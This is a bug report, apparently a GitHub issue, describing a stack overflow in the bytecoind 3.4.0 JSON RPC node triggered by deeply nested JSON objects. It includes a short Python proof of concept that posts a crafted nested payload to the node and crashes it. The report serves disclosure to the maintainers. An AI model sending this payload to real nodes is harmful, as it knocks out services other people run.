Stack Overflow in JSON RPC node 3.4.0 #103
Description
There is a stack overflow bug when parsing nesting objects.
Steps to reproduce:
With debugger attached :
- run
bytecoind.exe --bytecoind-bind-address=127.0.0.1:8081 - run the attached python code
- you should observe the node crash
Attached python code:
import urllib2
def post(url, data):
req = urllib2.Request(url)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
def main():
posturl = "http://127.0.0.1:8081/json_rpc"
data = '{"' + '}' * 0x10100 + '":' + '{"x":' * 0x10000 + '"}'
print post(posturl, data)
if __name__ == '__main__':
main() ```